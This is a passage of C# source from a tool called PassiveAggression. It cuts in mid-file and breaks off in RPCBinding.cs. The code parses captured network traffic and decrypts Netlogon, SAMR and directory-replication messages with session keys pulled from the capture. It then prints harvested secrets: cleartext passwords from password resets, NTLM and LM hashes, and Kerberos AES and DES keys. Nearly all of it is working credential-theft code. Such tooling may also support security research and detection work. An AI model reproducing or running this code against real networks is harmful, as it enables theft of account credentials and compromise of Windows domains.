8 | using static PassiveAgression.Core.Win32.Natives;
9 |
10 | namespace PassiveAgression.Core.Crypto
11 | {
12 | internal class Utils
13 | {
14 |
15 | public struct SChannelKeyData
16 | {
17 | ///
18 | /// The IV used in base message
19 | ///
20 | public byte[] iv;
21 |
22 | ///
23 | /// The base session key
24 | ///
25 | public byte[] sessionKey;
26 |
27 | ///
28 | /// IV that is encrypted with base session key
29 | ///
30 | public byte[] subIv;
31 |
32 | ///
33 | /// Session key that can be decrypted using base session key and subIv
34 | ///
35 | public byte[] subSessionKey;
36 |
37 | }
38 |
39 | ///
40 | /// Derives a decryption key by taking the session key and XORing every byte with 0xf0
41 | ///
42 | ///
43 | ///
44 | static byte[] DeriveXORSChannelDecryptionKey(byte[] sessionKey)
45 | {
46 | byte[] decryptionKey = new byte[sessionKey.Length];
47 | for (int i = 0; i < sessionKey.Length; i++)
48 | {
49 | decryptionKey[i] = (byte)(sessionKey[i] ^ 0xF0);
50 | }
51 | return decryptionKey;
52 | }
53 |
54 | ///
55 | /// Creates decryption key using session key, sequence number and package digest
56 | ///
57 | ///
58 | ///
59 | ///
60 | ///
61 | public static SChannelKeyData GetSChannelKeyData(string sessionKey, string sequenceNumber, string packageDigest)
62 | {
63 | SChannelKeyData kd = new SChannelKeyData();
64 | kd.sessionKey = Misc.HexStringToBytes(sessionKey);
65 |
66 | // iv is packagedigest concatenated to itself
67 | var tmpIv = $"{packageDigest}{packageDigest}";
68 | kd.iv = Misc.HexStringToBytes(tmpIv);
69 |
70 | // Decryp sequencenumber
71 | byte[] _key = Misc.HexStringToBytes(sessionKey);
72 | byte[] ciphertext = Misc.HexStringToBytes(sequenceNumber);
73 |
74 | byte[] decryptedIv = AES.DecryptAES128CFB8(ciphertext, kd.sessionKey, kd.iv);
75 | var halfIv = BitConverter.ToString(decryptedIv).Replace("-", "");
76 | var iv = Misc.HexStringToBytes($"{halfIv}{halfIv}");
77 |
78 | //Derive a decryption key by taking the session key and XORing every byte with 0xf0
79 | byte[] _decryptionKey = DeriveXORSChannelDecryptionKey(_key);
80 |
81 | kd.subSessionKey = _decryptionKey;
82 | kd.subIv = iv;
83 |
84 | return kd;
85 | }
86 |
87 | ///
88 | /// Returns dictionary with Kerberos keytypes and Kerberos keybytes
89 | ///
90 | ///
91 | ///
92 | ///
93 | ///
94 | public static Dictionary KeyDataNewInfo(byte[] data, int start, int count)
95 | {
96 | Dictionary keys = new Dictionary();
97 | for (int k = 0; k < count; k++)
98 | {
99 | byte[] keyDataBytes = new byte[Marshal.SizeOf(typeof(KERB_KEY_DATA_NEW))];
100 | Array.Copy(data, (k * Marshal.SizeOf(typeof(KERB_KEY_DATA_NEW))) + start, keyDataBytes, 0, keyDataBytes.Length);
101 | KERB_KEY_DATA_NEW kkd = Misc.ReadStruct(keyDataBytes);
102 |
103 | byte[] keybyte = new byte[kkd.KeyLength];
104 | Array.Copy(data, kkd.KeyOffset, keybyte, 0, keybyte.Length);
105 |
106 | // we skip the iteration count for now
107 | keys.Add(kkd.KeyType, Misc.PrintHashBytes(keybyte));
108 |
109 | }
110 | return keys;
111 | }
112 |
113 | ///
114 | /// Decrypts DES enrypted data with SID as key
115 | ///
116 | ///
117 | ///
118 | ///
119 | public static byte[] DecryptHashUsingSID(byte[] hashEncryptedWithRID, byte[] sidByteForm)
120 | {
121 | // extract the RID from the SID
122 | GCHandle handle = GCHandle.Alloc(sidByteForm, GCHandleType.Pinned);
123 | IntPtr sidIntPtr = handle.AddrOfPinnedObject();
124 | IntPtr SubAuthorityCountIntPtr = GetSidSubAuthorityCount(sidIntPtr);
125 | byte SubAuthorityCount = Marshal.ReadByte(SubAuthorityCountIntPtr);
126 | IntPtr SubAuthorityIntPtr = GetSidSubAuthority(sidIntPtr, (uint)SubAuthorityCount - 1);
127 | uint rid = (uint)Marshal.ReadInt32(SubAuthorityIntPtr);
128 | handle.Free();
129 |
130 | // Decrypt the hash
131 | byte[] output = new byte[16];
132 | IntPtr outputPtr = Marshal.AllocHGlobal(16);
133 | RtlDecryptDES2blocks1DWORD(hashEncryptedWithRID, ref rid, outputPtr);
134 | Marshal.Copy(outputPtr, output, 0, 16);
135 | Marshal.FreeHGlobal(outputPtr);
136 | return output;
137 | }
138 |
139 | ///
140 | /// Decrypts replication data using session key
141 | ///
142 | ///
143 | ///
144 | ///
145 | public static byte[] DecryptReplicationData(byte[] data, byte[] SessionKey)
146 | {
147 | if (data.Length < 16)
148 | return null;
149 |
150 | byte[] key;
151 |
152 | using (MD5CryptoServiceProvider md5 = new MD5CryptoServiceProvider())
153 | {
154 | md5.TransformBlock(SessionKey, 0, SessionKey.Length, SessionKey, 0);
155 | md5.TransformFinalBlock(data, 0, 16);
156 |
157 | key = md5.Hash;
158 |
159 | }
160 |
161 |
162 | byte[] todecrypt = new byte[data.Length - 16];
163 | Array.Copy(data, 16, todecrypt, 0, data.Length - 16);
164 | CRYPTO_BUFFER todecryptBuffer = GetCryptoBuffer(todecrypt);
165 | CRYPTO_BUFFER keyBuffer = GetCryptoBuffer(key);
166 | int ret = RtlEncryptDecryptRC4(ref todecryptBuffer, ref keyBuffer);
167 | byte[] decrypted = new byte[todecryptBuffer.Length];
168 | Marshal.Copy(todecryptBuffer.Buffer, decrypted, 0, decrypted.Length);
169 | Marshal.FreeHGlobal(todecryptBuffer.Buffer);
170 | Marshal.FreeHGlobal(keyBuffer.Buffer);
171 | byte[] output = new byte[decrypted.Length - 4];
172 | Array.Copy(decrypted, 4, output, 0, decrypted.Length - 4);
173 | uint crc = Misc.CalcCrc32(output);
174 | uint expectedCrc = BitConverter.ToUInt32(decrypted, 0);
175 | if (crc != expectedCrc)
176 | return null;
177 |
178 | return output;
179 | }
180 |
181 | private static CRYPTO_BUFFER GetCryptoBuffer(byte[] bytes)
182 | {
183 | CRYPTO_BUFFER cpb = new CRYPTO_BUFFER();
184 | cpb.Length = cpb.MaximumLength = (uint)bytes.Length;
185 | cpb.Buffer = Marshal.AllocHGlobal(bytes.Length);
186 | Marshal.Copy(bytes, 0, cpb.Buffer, bytes.Length);
187 | return cpb;
188 | }
189 |
190 | }
191 | }
192 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/DataHandler.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections;
3 | using System.Collections.Concurrent;
4 | using System.Collections.Generic;
5 | using System.Linq;
6 | using System.Runtime.InteropServices;
7 | using System.Text;
8 | using System.Threading.Tasks;
9 | using Newtonsoft.Json.Bson;
10 | using PassiveAgression.Core.Events;
11 | using static System.Net.Mime.MediaTypeNames;
12 |
13 | namespace PassiveAgression.Core
14 | {
15 | public class DataHandler
16 | {
17 | private ConcurrentBag SMBSessionNegotiations = new();
18 | private ConcurrentBag SMBSessionSetups = new();
19 | private ConcurrentBag LookupNamesRequests = new();
20 |
21 | private ConcurrentQueue setInformationUser2 = new ConcurrentQueue();
22 |
23 | CancellationTokenSource cancellationTokenSource = new CancellationTokenSource();
24 |
25 | public ConcurrentBag DecryptedSamrSetInformationUser2Events = new();
26 |
27 | private ConcurrentBag NetRServerAuthenticate3Response = new();
28 | private ConcurrentQueue netrLogonSendToSam = new ConcurrentQueue();
29 | public ConcurrentBag DecryptedLogonSendToSams = new();
30 |
31 | private ConcurrentBag RPCBinds = new();
32 | public ConcurrentBag DecryptedGetNcChangesResponses = new();
33 | private ConcurrentQueue getNcChangesResponses = new ConcurrentQueue();
34 |
35 |
36 |
37 | #region adding methods
38 |
39 | ///
40 | /// Adds new RPCBind to the list
41 | ///
42 | ///
43 | public void AddRPCBinding(RPCBinding rpcBinding)
44 | {
45 | if (rpcBinding == null)
46 | return;
47 |
48 | if (!rpcBinding.success)
49 | return;
50 |
51 | if (RPCBinds.Contains(rpcBinding))
52 | return;
53 |
54 | RPCBinds.Add(rpcBinding);
55 | }
56 |
57 | ///
58 | /// Adds GetNCChangesResponse to the queue
59 | ///
60 | ///
61 | public void AddGetNCChanges(GetNCChangesResponse ncChangesResponse)
62 | {
63 | if (ncChangesResponse == null)
64 | return;
65 |
66 | if (!ncChangesResponse.success)
67 | return;
68 |
69 | if (getNcChangesResponses.Contains(ncChangesResponse))
70 | return;
71 |
72 | getNcChangesResponses.Enqueue(ncChangesResponse);
73 | }
74 |
75 |
76 |
77 |
78 | ///
79 | /// Adds new NetRServerAuthenticate3Response event to the list
80 | ///
81 | ///
82 | public void AddNetrServerAuthenticate3Response(NetRServerAuthenticate3Response netrServerAuthenticate3Response)
83 | {
84 | if (netrServerAuthenticate3Response == null)
85 | return;
86 |
87 | if (!netrServerAuthenticate3Response.success)
88 | return;
89 |
90 | if (NetRServerAuthenticate3Response.Contains(netrServerAuthenticate3Response))
91 | return;
92 |
93 | NetRServerAuthenticate3Response.Add(netrServerAuthenticate3Response);
94 | }
95 |
96 | ///
97 | /// Adds NetRLogonSendToSam event to the queue
98 | ///
99 | ///
100 | public void AddSendToSam(NetRLogonSendToSam sendtosam)
101 | {
102 | if (sendtosam == null)
103 | return;
104 |
105 | if (!sendtosam.success)
106 | return;
107 |
108 | if (netrLogonSendToSam.Contains(sendtosam))
109 | return;
110 |
111 | netrLogonSendToSam.Enqueue(sendtosam);
112 | }
113 |
114 |
115 |
116 | ///
117 | /// Adds new SMBSessionNegotiation event to the list
118 | ///
119 | ///
120 | public void AddSMBSessionNegotiation(SMBSessionNegotiation smbSessionNegotiation)
121 | {
122 | if (smbSessionNegotiation == null)
123 | return;
124 |
125 | if (!smbSessionNegotiation.success)
126 | return;
127 |
128 | if (SMBSessionNegotiations.Contains(smbSessionNegotiation))
129 | return;
130 |
131 | SMBSessionNegotiations.Add(smbSessionNegotiation);
132 | }
133 |
134 | ///
135 | /// Adds new SMBSessionSetup event to the list
136 | ///
137 | ///
138 | public void AddSMBSessionSetup(SMBSessionSetup smbSessionSetup)
139 | {
140 | if (smbSessionSetup == null)
141 | return;
142 |
143 | if (!smbSessionSetup.success)
144 | return;
145 |
146 | if (SMBSessionSetups.Contains(smbSessionSetup))
147 | return;
148 |
149 | SMBSessionSetups.Add(smbSessionSetup);
150 | }
151 |
152 | ///
153 | /// Adds new LookupNamesRequest to the list
154 | ///
155 | ///
156 | public void AddLookupNamesRequest(LookupNamesRequest lookupNamesRequest)
157 | {
158 | if (lookupNamesRequest == null)
159 | return;
160 |
161 | if (!lookupNamesRequest.success)
162 | return;
163 |
164 | if (LookupNamesRequests.Contains(lookupNamesRequest))
165 | return;
166 |
167 | LookupNamesRequests.Add(lookupNamesRequest);
168 | }
169 |
170 |
171 |
172 | ///
173 | /// Adds password reset event to the queue
174 | ///
175 | ///
176 | public void AddSetInformationUser2(SamrSetInformationUser2 pwdreset)
177 | {
178 | if (pwdreset == null)
179 | return;
180 |
181 | if (!pwdreset.success)
182 | return;
183 |
184 | if (setInformationUser2.Contains(pwdreset))
185 | return;
186 |
187 | setInformationUser2.Enqueue(pwdreset);
188 |
189 | }
190 |
191 | #endregion
192 |
193 | #region Printing methods
194 |
195 | private void PrintPwdReset(SamrSetInformationUser2 pwdreset)
196 | {
197 | Console.WriteLine("\r\n[+] Got password reset event:");
198 | Console.WriteLine($"\tUsername:\t{pwdreset.Username}");
199 | Console.WriteLine($"\tNew password:\t{pwdreset.ClearTextPassword}");
200 | }
201 |
202 | private void PrintSendToSam(NetRLogonSendToSam logonSendToSam)
203 | {
204 |
205 | if (string.IsNullOrEmpty(logonSendToSam.LMHash) &&
206 | string.IsNullOrEmpty(logonSendToSam.NTLMHash))
207 | return;
208 |
209 | Console.WriteLine($"");
210 | Console.WriteLine("[+] NetrLogonSendToSam data: ");
211 | Console.WriteLine($"\tUser:\t{logonSendToSam.UserRef}");
212 | Console.WriteLine($"\trID:\t{logonSendToSam.rID}");
213 | Console.WriteLine($"\tLM:\t{logonSendToSam.LMHash}");
214 | Console.WriteLine($"\tNTLM:\t{logonSendToSam.NTLMHash}");
215 | }
216 |
217 | private void PrintReplSecrets(GetNCChangesResponse.ReplicatedSecrets[] replsecrets)
218 | {
219 | foreach (var secrets in replsecrets)
220 | {
221 | Console.WriteLine($"");
222 | Console.WriteLine("[+] Replicated secret: ");
223 | Console.WriteLine($"\tDN:\t{secrets.DN}");
224 | Console.WriteLine($"\tSID:\t{secrets.SID}");
225 | Console.WriteLine($"\tGUID:\t{secrets.GUID}");
226 | Console.WriteLine($"");
227 | Console.WriteLine($"\tNTLM:\t{secrets.ntlmHash}");
228 |
229 | if (!string.IsNullOrEmpty(secrets.lmHash))
230 | Console.WriteLine($"\tLM:\t{secrets.lmHash}");
231 |
232 | Console.WriteLine($"\tsalt:\t{secrets.kerberos_new_salt}");
233 | Console.WriteLine($"\taes256:\t{secrets.aes256}");
234 | Console.WriteLine($"\taes128:\t{secrets.aes128}");
235 | Console.WriteLine($"\tdes:\t{secrets.md5}");
236 | }
237 |
238 |
239 | }
240 |
241 |
242 | #endregion
243 |
244 | public async Task Start()
245 | {
246 |
247 | var cancellationToken = cancellationTokenSource.Token;
248 | Task checkQueueTask = CheckQueuePeriodically(TimeSpan.FromMilliseconds(500), cancellationToken);
249 | //checkQueueTask.Start();
250 | await checkQueueTask;
251 | }
252 |
253 | public void Stop()
254 | {
255 | cancellationTokenSource.Cancel();
256 |
257 | // Make sure to process all remaining tasks
258 | ProcessTasks();
259 | }
260 |
261 | private async Task CheckQueuePeriodically(TimeSpan interval, CancellationToken cancellationToken)
262 | {
263 | while (!cancellationToken.IsCancellationRequested)
264 | {
265 | ProcessTasks();
266 | await Task.Delay(interval);
267 | }
268 | }
269 |
270 | private void ProcessTasks()
271 | {
272 | while (!setInformationUser2.IsEmpty)
273 | ProcessSetInformationUser2();
274 |
275 |
276 | while (!netrLogonSendToSam.IsEmpty)
277 | ProcessNetrLogonSendToSam();
278 |
279 | if (!getNcChangesResponses.IsEmpty)
280 | ProcessGetNCChanges();
281 | }
282 |
283 | ///
284 | /// Contains logic to find correct session key, SMB dialect and decrypt contents
285 | ///
286 | private void ProcessSetInformationUser2()
287 | {
288 | // Fetch from queue
289 | SamrSetInformationUser2 response;
290 | var successDequeue = setInformationUser2.TryDequeue(out response);
291 |
292 | if (!successDequeue)
293 | return;
294 |
295 | // Check if there's a sessionkey available with the same smbsession Id
296 | var smbSessionIds = SMBSessionSetups.Where(k => k.smbSessionId == response.smbSessionId
297 | && !string.IsNullOrEmpty(k.sessionKey)).ToList();
298 |
299 | // There is not. Add back to the queue
300 | if (!smbSessionIds.Any())
301 | {
302 | setInformationUser2.Enqueue(response);
303 | return;
304 | }
305 |
306 | // Lookup user account
307 | var nameLookupRes = LookupNamesRequests.Where(n => n.smbSessionId == response.smbSessionId);
308 | if (!nameLookupRes.Any())
309 | {
310 | setInformationUser2.Enqueue(response);
311 | return;
312 | }
313 |
314 | var name = nameLookupRes.First();
315 | response.Username = name.Username;
316 |
317 | // There is. Select session key and decrypt data
318 | response.Decrypt(smbSessionIds[0]);
319 |
320 | if (response.success)
321 | {
322 | PrintPwdReset(response);
323 | DecryptedSamrSetInformationUser2Events.Add(response);
324 | }
325 | }
326 |
327 |
328 | ///
329 | /// Contains logic to find session key to decrypt contents
330 | /// and decode the data
331 | ///
332 | private void ProcessNetrLogonSendToSam()
333 | {
334 | // Fetch from queue
335 | NetRLogonSendToSam response;
336 | var successDequeue = netrLogonSendToSam.TryDequeue(out response);
337 |
338 | if (!successDequeue)
339 | return;
340 |
341 | // Check if there's netrServerAuthenticate3 event available in the same stream
342 | var authResponses = NetRServerAuthenticate3Response
343 | .Where(b => b.connectionInfo.StreamIndex == response.connectionInfo.StreamIndex &&
344 | b.connectionInfo.SourceIP == response.connectionInfo.DestinationIP).ToList();
345 |
346 | // There is not. Add back to the queue
347 | if (!authResponses.Any())
348 | {
349 | netrLogonSendToSam.Enqueue(response);
350 | return;
351 | }
352 |
353 | // There is. Select session key and decrypt data
354 | var sessionKey = authResponses[0].sessionKey;
355 | response.Decrypt(sessionKey);
356 |
357 | if (response.success)
358 | {
359 | PrintSendToSam(response);
360 | DecryptedLogonSendToSams.Add(response);
361 | }
362 | }
363 |
364 |
365 | ///
366 | /// Contains logic to find correct session key and decrypt the contents
367 | /// and decode the data
368 | ///
369 | private void ProcessGetNCChanges()
370 | {
371 | // Fetch from queue
372 | GetNCChangesResponse response;
373 | var successDequeue = getNcChangesResponses.TryDequeue(out response);
374 |
375 | if (!successDequeue)
376 | return;
377 |
378 | // Check if there's an RPC bind available with the same stream and sourceIp
379 | var bindings = RPCBinds
380 | .Where(b => b.connectionInfo.StreamIndex == response.connectionInfo.StreamIndex &&
381 | b.connectionInfo.SourceIP == response.connectionInfo.SourceIP).ToList();
382 |
383 | // There is not. Add back to the queue
384 | if (!bindings.Any())
385 | {
386 | getNcChangesResponses.Enqueue(response);
387 | return;
388 | }
389 |
390 | // There is. Select session key and decrypt data
391 | var sessionKey = bindings.Select(b => b.sessionKey).SelectMany(a => a).First();
392 | response.Decrypt(sessionKey);
393 |
394 |
395 | if (response.success)
396 | {
397 | PrintReplSecrets(response.Secrets);
398 | DecryptedGetNcChangesResponses.Add(response);
399 | }
400 |
401 | }
402 |
403 | }
404 | }
405 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Events/LookupNamesRequest.cs:
--------------------------------------------------------------------------------
1 | using PassiveAgression.Core.Network;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace PassiveAgression.Core.Events
9 | {
10 | public class LookupNamesRequest
11 | {
12 |
13 | public bool success { get; set; }
14 |
15 | public TCPConnectionInfo connectionInfo { get; set; }
16 |
17 | public string smbSessionId { get; set; }
18 |
19 | public string Username { get; set; }
20 |
21 | public LookupNamesRequest(TSharkMessage message)
22 | {
23 | try
24 | {
25 | Parse(message);
26 | success = !string.IsNullOrEmpty(Username) && !string.IsNullOrEmpty(smbSessionId);
27 | }
28 | catch
29 | {
30 | // Do nothing
31 | }
32 |
33 | }
34 |
35 | ///
36 | /// Parses data from message into structs.
37 | ///
38 | ///
39 | private void Parse(TSharkMessage message)
40 | {
41 | //// Set data to be correlated with in later packets
42 | connectionInfo = message.TCPInfo;
43 | smbSessionId = message.FindNodeByName("smb2.sesid");
44 |
45 | Username = message.FindNodeByName("samr.samr_LookupNames.names");
46 |
47 | }
48 |
49 |
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Events/NetRLogonSendToSam.cs:
--------------------------------------------------------------------------------
1 | using PassiveAgression.Core.Network;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using PassiveAgression.Core.Crypto;
8 | using static PassiveAgression.Core.Win32.Natives;
9 | using System.Runtime.InteropServices;
10 |
11 | namespace PassiveAgression.Core.Events
12 | {
13 | public class NetRLogonSendToSam
14 | {
15 |
16 | public bool success { get; set; }
17 |
18 | private string encrypted_stub_data;
19 | private string package_digest;
20 | private string package_sequence;
21 |
22 |
23 | public string NTLMHash { get; private set; }
24 | public string LMHash { get; private set; }
25 | public string UserRef { get; private set; }
26 | public int rID { get; private set; }
27 | public TCPConnectionInfo connectionInfo { get; set; }
28 |
29 | public string sessionKey;
30 |
31 | private struct CredentialData
32 | {
33 | public int offset;
34 | public int length;
35 | }
36 |
37 | struct NetrLogonSendToSam
38 | {
39 | public string PrimaryName;
40 | public string ComputerName;
41 | public NETLOGON_AUTHENTICATOR Authenticator;
42 |
43 | public PASSWORD_UPDATE_TYPE PwdUpdType;
44 | public int Size;
45 |
46 | internal byte[] CryptedOpaqueBuffer;
47 | public int OpaqueBufferSize;
48 |
49 | public int IndexHelper;
50 | }
51 |
52 | ///
53 | /// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sams/e6d9295f-dbb8-46a5-98f7-f4d3f970f36b
54 | ///
55 | [StructLayout(LayoutKind.Sequential, Pack = 1)]
56 | struct NetrLogonSendToSamOpaqueBuffer
57 | {
58 | PASSWORD_UPDATE_FLAGS Flags;
59 | public int MessageSize;
60 | public int AccountRid;
61 | public byte PasswordExp;
62 |
63 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 3)]
64 | public byte[] reserved;
65 | }
66 |
67 | public NetRLogonSendToSam(TSharkMessage message)
68 | {
69 | try
70 | {
71 | Parse(message);
72 | success = true;
73 | }
74 | catch
75 | {
76 | // Do nothing
77 | }
78 |
79 | }
80 |
81 | ///
82 | /// Parses data from message into structs.
83 | ///
84 | ///
85 | private void Parse(TSharkMessage message)
86 | {
87 | //// Set data to be correlated with in later packets
88 | connectionInfo = message.TCPInfo;
89 |
90 | package_sequence = Misc.CleanHexData(message.FindNodeByName("netlogon.secchan.seq"));
91 | package_digest = Misc.CleanHexData(message.FindNodeByName("netlogon.secchan.digest"));
92 | encrypted_stub_data = Misc.CleanHexData(message.FindNodeByName("dcerpc.encrypted_stub_data"));
93 | }
94 |
95 | ///
96 | /// Decrypts data with given session key
97 | ///
98 | ///
99 | public void Decrypt(string sessionKey)
100 | {
101 | this.sessionKey = sessionKey;
102 | success = false;
103 | try
104 | {
105 | DecryptData();
106 | success = true;
107 | }
108 | catch
109 | {
110 | // Do nothing
111 | }
112 | }
113 |
114 | private void DecryptData()
115 | {
116 | success = false;
117 |
118 | byte[] bCipherText = Misc.HexStringToBytes(encrypted_stub_data);
119 |
120 | // Generate the correct keydata based on sequence number and digest
121 | var keyData = Crypto.Utils.GetSChannelKeyData(sessionKey, package_sequence, package_digest);
122 |
123 | // Decrypt data using new keyset
124 | byte[] decrypted = AES.DecryptAES128CFB8(bCipherText, keyData.subSessionKey, keyData.subIv);
125 |
126 | // Dissect the packet
127 | NetrLogonSendToSam packet = Dissect(ref decrypted);
128 |
129 | // Decrypt buffer. We do this by decrypting the whole packet with the base session key
130 | // and get the contents based on the size in the last field of the outer message
131 | // The message size and message type are not double encrypted. Prepend the bytearray with these 8 bytes so
132 | // we end up with a byte array containing only decrypted values
133 | byte[] subPackdecrypted = AES.DecryptAES128CFB8(decrypted, keyData.sessionKey, keyData.iv);
134 |
135 | //Misc.DisplayHexDump(subPackdecrypted);
136 | int packetLength = subPackdecrypted.Length;
137 | int decryptedBufferStart = packet.IndexHelper + 8;
138 | int decryptedBufferEnd = decryptedBufferStart + packet.OpaqueBufferSize;
139 |
140 | byte[] oBuffer = subPackdecrypted[decryptedBufferStart..decryptedBufferEnd];
141 |
142 | NetrLogonSendToSamOpaqueBuffer t = DissectBuffer(ref oBuffer);
143 | }
144 |
145 | ///
146 | /// Dissect byte array into NetrLogonSendToSam packet
147 | /// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-nrpc/b06e6b30-fe57-4e0f-ba1a-5214c953a5df
148 | ///
149 | ///
150 | ///
151 | private NetrLogonSendToSam Dissect(ref byte[] packet)
152 | {
153 | NetrLogonSendToSam rawSendToSamPacket = new NetrLogonSendToSam();
154 |
155 | // Check if byte 17..24 are 00bytes
156 | int startIndex = 0;
157 | if (Misc.AllItemsAreSame(packet[16..24]))
158 | {
159 | startIndex = 32;
160 | }
161 | byte[] dData = packet[startIndex..packet.Length];
162 |
163 | // If the last 8 bytes are 0bytes, trim those
164 | if (Misc.AllItemsAreSame(packet[(packet.Length - 8)..packet.Length]))
165 | {
166 | dData = dData[0..(dData.Length - 8)];
167 | }
168 |
169 | // Read handle name. Calculate alignment
170 | rawSendToSamPacket.PrimaryName = Misc.ReadWChars(ref dData);
171 | startIndex = rawSendToSamPacket.PrimaryName.Length * 2;
172 | startIndex += 8 - (startIndex % 8);
173 |
174 | // Next are 24 bytes of undefined data
175 | startIndex += 24;
176 |
177 | // Next is the netbiosname of the calling computer
178 | dData = dData[startIndex..dData.Length];
179 | rawSendToSamPacket.ComputerName = Misc.ReadWChars(ref dData);
180 |
181 |
182 | // Align data
183 | startIndex = rawSendToSamPacket.ComputerName.Length * 2;
184 | startIndex += 8 - (startIndex % 8);
185 |
186 | // Parse authenticator
187 | dData = dData[startIndex..dData.Length];
188 | rawSendToSamPacket.Authenticator = Misc.ReadStruct(dData);
189 | startIndex = Marshal.SizeOf(rawSendToSamPacket.Authenticator);
190 |
191 | rawSendToSamPacket.PwdUpdType = (PASSWORD_UPDATE_TYPE)BitConverter.ToUInt32(dData[startIndex..(startIndex + 4)]);
192 | startIndex += 4;
193 |
194 | // Read msg size
195 | rawSendToSamPacket.Size = BitConverter.ToInt32(dData, startIndex);
196 |
197 | // startIndex should be at the startindex of where the opaque buffer starts.
198 | // We also know the size of the buffer
199 | int bufferStart = startIndex + 8;
200 | int bufferEnd = bufferStart + rawSendToSamPacket.Size;
201 |
202 | rawSendToSamPacket.CryptedOpaqueBuffer = dData[bufferStart..bufferEnd];
203 | rawSendToSamPacket.IndexHelper = Misc.FindSequence(packet, rawSendToSamPacket.CryptedOpaqueBuffer);
204 |
205 | // next 4 bytes should be the opaquebuffer size
206 | startIndex = bufferEnd;
207 | rawSendToSamPacket.OpaqueBufferSize = BitConverter.ToInt32(dData, startIndex);
208 |
209 |
210 | return rawSendToSamPacket;
211 | }
212 |
213 |
214 | ///
215 | /// https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-sams/e6d9295f-dbb8-46a5-98f7-f4d3f970f36b
216 | ///
217 | ///
218 | ///
219 | private NetrLogonSendToSamOpaqueBuffer DissectBuffer(ref byte[] decryptedBuffer)
220 | {
221 | NetrLogonSendToSamOpaqueBuffer buffer = new NetrLogonSendToSamOpaqueBuffer();
222 | buffer = Misc.ReadStruct(decryptedBuffer);
223 | rID = buffer.AccountRid;
224 |
225 | int dataStart = buffer.MessageSize;
226 | int startIndex = Marshal.SizeOf(buffer);
227 | byte[] headerData = decryptedBuffer[startIndex..dataStart];
228 |
229 | int arrayCount = headerData.Length / 8;
230 | CredentialData[] credData = new CredentialData[arrayCount];
231 |
232 | startIndex = 0;
233 | for (int i = 0; i < arrayCount; i++)
234 | {
235 | CredentialData cred = new CredentialData();
236 | cred.offset = BitConverter.ToInt32(headerData, startIndex);
237 | cred.length = BitConverter.ToInt32(headerData, startIndex + 4);
238 |
239 | credData[i] = cred;
240 |
241 | startIndex += 8;
242 | }
243 |
244 | // Filter out credentialdata with lengths
245 | CredentialData[] credWithData = credData.Where(c => c.length > 0).ToArray();
246 |
247 | // Data is positioned in this order:
248 | // Name
249 | // NTLM
250 | // LM
251 |
252 | if (credWithData.Length > 2)
253 | {
254 | byte[] LMhash = GetArrayData(credWithData[1], dataStart, ref decryptedBuffer);
255 | byte[] NTHash = GetArrayData(credWithData[2], dataStart, ref decryptedBuffer);
256 | byte[] Name = GetArrayData(credWithData[0], dataStart, ref decryptedBuffer);
257 |
258 | this.LMHash = Misc.PrintHashBytes(LMhash);
259 | this.NTLMHash = Misc.PrintHashBytes(NTHash);
260 | this.UserRef = Encoding.UTF8.GetString(Name);
261 | }
262 | else
263 | {
264 | byte[] LMhash = GetArrayData(credWithData[1], dataStart, ref decryptedBuffer);
265 | byte[] NTHash = GetArrayData(credWithData[2], dataStart, ref decryptedBuffer);
266 |
267 | this.LMHash = Misc.PrintHashBytes(LMhash);
268 | this.NTLMHash = Misc.PrintHashBytes(NTHash);
269 | }
270 |
271 | return buffer;
272 | }
273 |
274 |
275 | ///
276 | /// Returns arraydata based on index and offsets
277 | ///
278 | ///
279 | ///
280 | ///
281 | ///
282 | private byte[] GetArrayData(CredentialData d, int dataStart, ref byte[] decryptedData)
283 | {
284 | int offset = d.offset;
285 | int len = d.length;
286 |
287 | return decryptedData[(dataStart + offset)..(dataStart + offset + len)];
288 | }
289 | }
290 |
291 | }
292 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Events/NetRServerAuthenticate3Response.cs:
--------------------------------------------------------------------------------
1 | using PassiveAgression.Core.Network;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 |
8 | namespace PassiveAgression.Core.Events
9 | {
10 | public class NetRServerAuthenticate3Response
11 | {
12 |
13 | public bool success { get; set; }
14 |
15 | public TCPConnectionInfo connectionInfo { get; set; }
16 |
17 | public string sessionKey;
18 |
19 | public NetRServerAuthenticate3Response(TSharkMessage message)
20 | {
21 | try
22 | {
23 | Parse(message);
24 | success = true;
25 | }
26 | catch
27 | {
28 | // Do nothing
29 | }
30 |
31 | }
32 |
33 | ///
34 | /// Parses data from message into structs.
35 | ///
36 | ///
37 | private void Parse(TSharkMessage message)
38 | {
39 | //// Set data to be correlated with in later packets
40 | connectionInfo = message.TCPInfo;
41 |
42 | var keyLine = message.FindNodeByName("_ws.expert.message");
43 | if (null != keyLine)
44 | {
45 | //return empty resultobj if no session key is available
46 | if (!keyLine.Contains("session key"))
47 | return;
48 |
49 | sessionKey = keyLine.Split('(')[1].TrimEnd(')');
50 |
51 | }
52 | }
53 | }
54 | }
55 |
--------------------------------------------------------------------------------
/PassiveAggression/Core/Events/RPCBinding.cs:
--------------------------------------------------------------------------------
1 | using PassiveAgression.Core.Network;
2 | using System;
3 | using System.Collections.Generic;
4 | using System.Linq;
5 | using System.Text;
6 | using System.Threading.Tasks;
7 | using PassiveAgression.Core.Static;
8 |
9 | namespace PassiveAgression.Core.Events
10 | {
11 | public class RPCBinding
12 | {
13 |
14 | public bool success { get; set; }
15 | public TCPConnectionInfo connectionInfo { get; set; }
16 |
17 | public string[] sessionKey;
18 |
19 | public int kerberosKeyType;
20 |
21 | public bool IsAck;
22 |
23 | public RPCBinding(TSharkMessage message)
24 | {
25 | try
26 | {
27 | Parse(message);
28 | success = sessionKey.Length > 0;
29 | }
30 | catch
31 | {
32 | // Do nothing
33 | }
34 | }
35 |
36 |
37 | ///
38 | /// Parses data from message into structs.
39 | ///
40 | ///
41 | private void Parse(TSharkMessage message)
42 | {
